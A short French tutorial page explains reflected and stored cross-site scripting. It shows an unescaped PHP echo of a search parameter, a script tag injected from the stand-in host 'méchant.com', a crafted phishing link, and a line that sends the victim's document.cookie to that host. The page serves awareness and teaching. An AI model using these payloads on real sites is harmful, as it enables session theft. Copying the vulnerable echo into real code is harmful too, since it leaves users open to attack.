HervéRenault.fr

Logo non-officiel de JavaScript Logo de PHP

Cross-Site Scripting, le danger en résumé

Le cross-site scripting est la faille de sécurité la plus fréquente. Ses conséquences sont plus ou moins graves. Son nom est abrégé en XSS. Quelques références : Wikipedia et OWASP.

Version non persistante, ou "reflected XSS"

C'est l'erreur classique : le champ de recherche qui est affiché sans avoir été validé côté serveur, par exemple "Vous avez cherché bidule" ou "Pas de résultat pour truc" avec du code comme Pas de résultat pour <?php echo $_GET['recherche'] ?>

Si au lieu de bidule, on entre bidule<script src="https://méchant.com/script.js"></script>, le navigateur va afficher bidule et télécharger le script et l'exécuter.

L'agresseur ("pirate", "mauvais hackeur" ou ce qu'on veut) va envoyer à sa victime un mail contenant un lien trompeur qui pointe sur https://site-avec-une-faille-xss.com/?recherche=bidule<script src="https://méchant.com/script.js"></script>

La victime va cliquer sur ce lien, et son navigateur va silencieusement télécharger le script et l'exécuter. La victime va lire dans son navigateur "Pas de résultat pour bidule" et va se dire "bizarre, ça ne marche pas", mais le mal est fait.

En supposant que la victime est connectée sur site-avec-une-faille-xss.com, le script va envoyer son cookie de connexion au serveur de l'agresseur, par exemple en faisant (new Image()).src = "https://méchant.com/?cookie=" + document.cookie;

L'agresseur pourra récupérer le cookie dans les logs de son serveur, le mettre dans son navigateur et accéder à site-avec-une-faille-xss.com comme s'il était la victime.

Version persistante ("stored XSS")

C'est le même principe mais l'agresseur va laisser, par exemple sur un forum, un message incluant l'appel à son script. Chaque personne qui va afficher la page du forum en question va télécharger ce script sans le savoir. L'exploitation de la faille est stockée dans la base de données du serveur.